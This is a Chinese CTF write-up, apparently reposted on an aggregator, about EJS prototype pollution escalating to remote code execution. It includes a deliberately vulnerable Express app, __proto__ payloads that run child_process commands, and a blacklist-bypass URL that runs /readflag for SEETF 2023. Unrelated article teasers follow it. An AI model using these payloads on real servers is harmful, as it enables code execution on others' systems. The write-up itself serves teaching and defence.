ejs默认配置 造成原型链污染

文章目录

  • ejs默认配置 造成原型链污染
    • 漏洞背景
    • 漏洞分析
    • 漏洞利用
  • 例题 [SEETF 2023]Express JavaScript Security


ejs默认配置 造成原型链污染

参考文章

漏洞背景

EJS维护者对原型链污染的问题有着很好的理解,并使用非常安全的函数清理他们创建的每个对象

利用Render()

exports.render = function (template, d, o) {var data = d || utils.createNullProtoObjWherePossible();var opts = o || utils.createNullProtoObjWherePossible();// No options object -- if there are optiony names// in the data, copy them to optionsif (arguments.length == 2) {utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);}return handleCache(opts, template)(data);
};

以及createNullProtoObjWherePossible()

exports.createNullProtoObjWherePossible = (function () {if (typeof Object.create == 'function') {return function () {return Object.create(null);};}if (!({__proto__: null} instanceof Object)) {return function () {return {__proto__: null};};}// Not possible, just pass throughreturn function () {return {};};
})();

参考文章是这么说的,分析上述代码,可以知道不能滥用原型链污染库内新创建的对象。因此,对于用户提供的对象来说情况并非如此,从 EJS 维护者的角度来看,用户向库提供的输入不是 EJS 的责任。

如何理解呢,就是说我们提供的可以被污染的对象并不会遭到上述函数清理。

漏洞分析

渲染模板时ejs 动态创建函数,该函数将使用传递给它的数据组装模板。该函数是根据模板动态创建的字符串编译的。所有这些都发生在最终被调用的 Template 类的编译函数中,在这种情况下,当创建模板对象时,将使用受感染的选项。

exports.compile = function compile(template, opts) {var templ;...templ = new Template(template, opts);return templ.compile();
};

现在我们知道可以控制配置对象的原型后,那么就可以进一步利用

在这里插入图片描述

我们已经知道当编译模板时,它会使用多个配置元素来处理模板中的代码片段,并将其转换为可执行的 JavaScript 函数。这些配置元素可能包括模板标签、控制流语句、输出语句等。不过其中大多数都使用_JS_IDENTIFIER 正则表达式进行清理

在这里插入图片描述

但是并不意味着所有都会被正则清理,我们看向下面代码

compile: function () {/** @type {string} */var src;/** @type {ClientFunction} */var fn;var opts = this.opts;var prepended = '';var appended = '';/** @type {EscapeCallback} */var escapeFn = opts.escapeFunction;/** @type {FunctionConstructor} */var ctor;/** @type {string} */var sanitizedFilename = opts.filename ? JSON.stringify(opts.filename) : 'undefined';...if (opts.client) {src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;if (opts.compileDebug) {src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;}}...return returnedFn;

我们可以知道将opts.escapeFunction赋值给escapeFn,如果opts.client存在,那么escapeFn就会在函数体内从而被调用

由于 opts.client 和 opts.escapeFunction 默认情况下未设置,因此可以原型链污染它们到达eval接收器并实现RCE

{"__proto__": {"client": 1,"escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('calc')"}
}

漏洞利用

// Setup app
const express = require("express");
const app  = express();
const port = 3000;// Select ejs templating library
app.set('view engine', 'ejs');// Routes
app.get("/", (req, res) => {res.render("index");
})app.get("/vuln", (req, res) => {// simulate SSPP vulnerabilityvar a = req.query.a;var b = req.query.b;var c = req.query.c;var obj = {};obj[a][b] = c;res.send("OK!");
})// Start app
app.listen(port, () => {console.log(`App listening on port ${port}`)
})

GET传参payload

第一次: /vuln?a=__proto__&b=escapeFunction&c=JSON.stringify; process.mainModule.require('child_process').exec('calc')
第二次: /vuln?a=__proto__&b=client&c=true

在这里插入图片描述

例题 [SEETF 2023]Express JavaScript Security

源码

const express = require('express');
const ejs = require('ejs');const app = express();app.set('view engine', 'ejs');const BLACKLIST = ["outputFunctionName","escapeFunction","localsName","destructuredLocals"
]app.get('/', (req, res) => {return res.render('index');
});app.get('/greet', (req, res) => {const data = JSON.stringify(req.query);if (BLACKLIST.find((item) => data.includes(item))) {return res.status(400).send('Can you not?');}return res.render('greet', {...JSON.parse(data),cache: false});
});app.listen(3000, () => {console.log('Server listening on port 3000')
})

分析一下,app.set('view engine', 'ejs');说明ejs模板是默认配置,在/greet路由下,接收GET参数并赋值给data变量,然后黑名单检测,调用ejs模板进行渲染其中解析data的json数据,说明ejs配置可控。

我们前文利用的payload是有escapeFunction关键字的,并且污染的过程是我们手动添加/vuln上去的,所以我们要寻找可以利用的地方

通常情况下,ejs模板只允许在数据对象中传递以下相对无害的选项

var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug','client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];
// We don't allow 'cache' option to be passed in the data obj for
// the normal `render` call, but this is where Express 2 & 3 put it
// so we make an exception for `renderFile`
var _OPTS_PASSABLE_WITH_DATA_EXPRESS = _OPTS_PASSABLE_WITH_DATA.concat('cache');

但是我们找到settings['view options']可用于将任意选项传递给EJS,这将是我们利用的点

跟进一下,会调用shallowCopy()进行赋值给opts

viewOpts = data.settings['view options'];
if (viewOpts) {utils.shallowCopy(opts, viewOpts);
}

而在渲染模板的时候会跟进到Template类中,发现关键语句

options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;

也就是说虽然escapeFunction被过滤了,但是我们可以利用opts.escape去替换

settings['view options'][escape]=...

将前文漏洞利用的payload稍加修改一下,然后添加上greet.ejs中的三个配置参数

在这里插入图片描述

得到最终payload

/greet?name=test&font=test&fontSize=test&settings[view options][escape]=function(){return process.mainModule.require('child_process').execSync('/readflag')}&settings[view options][client]=1

注:题目源码已经JSON.stringify了,/readflag可以在dockerfile中得到信息

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/601708.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

鸿蒙应用中的通知

目录 1、通知流程 2、发布通知 2.1、发布基础类型通知 2.1.1、接口说明 2.1.2、普通文本类型通知 2.1.3、长文本类型通知 2.1.4、多行文本类型通知 2.1.5、图片类型通知 2.2、发布进度条类型通知 2.2.1、接口说明 2.2.2、示例 2.3、为通知添加行为意图 2.3.1、接…

Python基础知识总结1-Python基础概念搞定这一篇就够了

时隔多年不用忘却了很多,再次进行python的汇总总结。好记性不如烂笔头! PYTHON基础 Python简介python是什么?Python特点Python应用场景Python版本和兼容问题解决方案python程序基本格式 Python程序的构成代码的组织和缩进使用\行连接符 对象…

解决ChatGPT4.0无法上传文件

问题描述 ChatGPT4.0:上传文件时出错 解决方案: 仔细检查文件的编码格式,他似乎目前只能接受utf-8的编码,所以把文件的编码改为UTF-8即可成功上传

【十六】【动态规划】97. 交错字符串、712. 两个字符串的最小ASCII删除和、718. 最长重复子数组,三道题目深度解析

动态规划 动态规划就像是解决问题的一种策略,它可以帮助我们更高效地找到问题的解决方案。这个策略的核心思想就是将问题分解为一系列的小问题,并将每个小问题的解保存起来。这样,当我们需要解决原始问题的时候,我们就可以直接利…

Hadolint:Lint Dockerfile 的完整指南

想学习如何使用 Hadolint 对 Dockerfile 进行 lint 处理吗?这篇博文将向您展示如何操作。这是关于 Dockerfile linting 的完整指南。 通过对 Dockerfile 进行 lint 检查,您可以及早发现错误和问题,并确保它们遵循最佳实践。 什么是Hadolint…

坐标转换 | EXCEL中批量将经纬度坐标(EPSG:4326)转换为墨卡托坐标(EPSG:3857)

1 需求 坐标系概念: 经纬度坐标(EPSG:4326):WGS84坐标系(World Geodetic System 1984)是一种用于地球表面点的经纬度坐标系。它是美国国防部于1984年建立的,用于将全球地图上的点定位&#xff0…

Vue-2、初识Vue

1、helloword小案列 代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>初始Vue</title><!--引入vue--><script type"text/javascript" src"https://cdn.jsdelivr.n…

【贪心算法】Dijkstra 算法及其衍生

目录 Dijkstra 算法Dijkstra 算法正确性证明 Dijkstra 算法的复杂度优化 Dijkstra 算法的衍生SSSP的应用 Dijkstra 算法 1959 年&#xff0c;Edsger Dijkstra 提出一个非常简单的贪心算法来求解单源最短路径问题&#xff08;Single-Source Shortest Path&#xff0c;SSSP&…

[C#]使用PaddleInference图片旋转四种角度检测

官方框架地址】 https://github.com/PaddlePaddle/PaddleDetection.git 【算法介绍】 PaddleDetection 是一个基于 PaddlePaddle&#xff08;飞桨&#xff09;深度学习框架的开源目标检测工具库。它提供了一系列先进的目标检测算法&#xff0c;包括但不限于 Faster R-CNN, Ma…

一张照片来跳舞,AI带去你跳科目三

大家好我是在看&#xff0c;记录普通人学习探索AI之路。 重生之我是秦始皇&#xff0c;起猛了看见兵马俑在跳舞。 最近&#xff0c;随着社交媒体上热议的科目三话题热度持续飙升&#xff0c;阿里集团旗下的通义千问项目团队精准把握住了这一社会潮流&#xff0c;借势推出了一…

PHP 基础编程 1

文章目录 前后端交互尝试php简介php版本php 基础语法php的变量前后端交互 - 计算器体验php数据类型php的常量和变量的区别php的运算符算数运算符自增自减比较运算符赋值运算符逻辑运算 php的控制结构ifelseelse if 前后端交互尝试 前端编程语言&#xff1a;JS &#xff08;Java…

OpenHarmony鸿蒙源码下载编译和开发环境搭建

目录 一、开发环境搭建和源码下载二、编译三、总结 一、开发环境搭建 最好是在如Ubuntu18.04以上的系统中搭建&#xff0c;不然有些软件依赖需要解决&#xff0c;加大搭建时间 如gitee中开源OpenHarmony中的文档所示&#xff0c;搭建开发环境&#xff0c;搭建文档网站如下&a…

Supershell反溯源配置

简介 项目地址&#xff1a;https://github.com/tdragon6/Supershell Supershell是一个集成了reverse_ssh服务的WEB管理平台&#xff0c;使用docker一键部署&#xff08;快速构建&#xff09;&#xff0c;支持团队协作进行C2远程控制&#xff0c;通过在目标主机上建立反向SSH隧…

【Java EE初阶六】多线程案例(单例模式)

1. 单例模式 单例模式是一种设计模式&#xff0c;设计模式是我们必须要掌握的一个技能&#xff1b; 1.1 关于框架和设计模式 设计模式是软性的规定&#xff0c;且框架是硬性的规定&#xff0c;这些都是技术大佬已经设计好的&#xff1b; 一般来说设计模式有很多种&#xff0c;…

Go语言之父:开源14年,Go不止是编程语言,究竟做对了哪些?

提及编程语言&#xff0c;2023 年&#xff0c;除了老牌的 C 和新晋之秀 Rust 热度最高之外&#xff0c;就要数 Go 了。 从 2009 年由 C 语言获取灵感而发布&#xff0c;到如今风靡已久的高性能语言&#xff0c;Go 已经走过了 14 个年头。 “Go是一个项目&#xff0c;不只是一门…

基于ssm的智慧社区电子商务系统+vue论文

目 录 目 录 I 摘 要 III ABSTRACT IV 1 绪论 1 1.1 课题背景 1 1.2 研究现状 1 1.3 研究内容 2 2 系统开发环境 3 2.1 vue技术 3 2.2 JAVA技术 3 2.3 MYSQL数据库 3 2.4 B/S结构 4 2.5 SSM框架技术 4 3 系统分析 5 3.1 可行性分析 5 3.1.1 技术可行性 5 3.1.2 操作可行性 5 3…

HTML5大作业-精致版个人博客空间模板源码

文章目录 1.设计来源1.1 博客主页界面1.2 博主信息界面1.3 我的文章界面1.4 我的相册界面1.5 我的工具界面1.6 我的源码界面1.7 我的日记界面1.8 我的留言板界面1.9 联系博主界面 2.演示效果和结构及源码2.1 效果演示2.2 目录结构2.3 源代码 源码下载 作者&#xff1a;xcLeigh …

在MS中基于perl脚本实现氢键统计

氢原子与电负性大的原子X以共价键结合&#xff0c;若与电负性大、半径小的原子Y&#xff08;O F N等&#xff09;接近&#xff0c;在X与Y之间以氢为媒介&#xff0c;生成X-H…Y形式的一种特殊的分子间或分子内相互作用&#xff0c;称为氢键。 氢键通常是物质在液态时形成的&…

第1章 线性回归

一、基本概念 1、线性模型 2、线性模型可以看成&#xff1a;单层的神经网络 输入维度&#xff1a;d 输出维度&#xff1a;1 每个箭头代表权重 一个输入层&#xff0c;一个输出层 单层神经网络&#xff1a;带权重的层为1&#xff08;将权重和输入层放在一起&#xff09; 3、…

数据库设计——DML

D M L \huge{DML} DML DML&#xff1a;数据库操作语言&#xff0c;用来对数据库中的数据进行增删改查。 增&#xff08;INSERT&#xff09; 使用insert来向数据库中增加数据。 示例&#xff1a; -- DML : 数据操作语言 -- DML : 插入数据 - insert -- 1. 为 tb_emp 表的 us…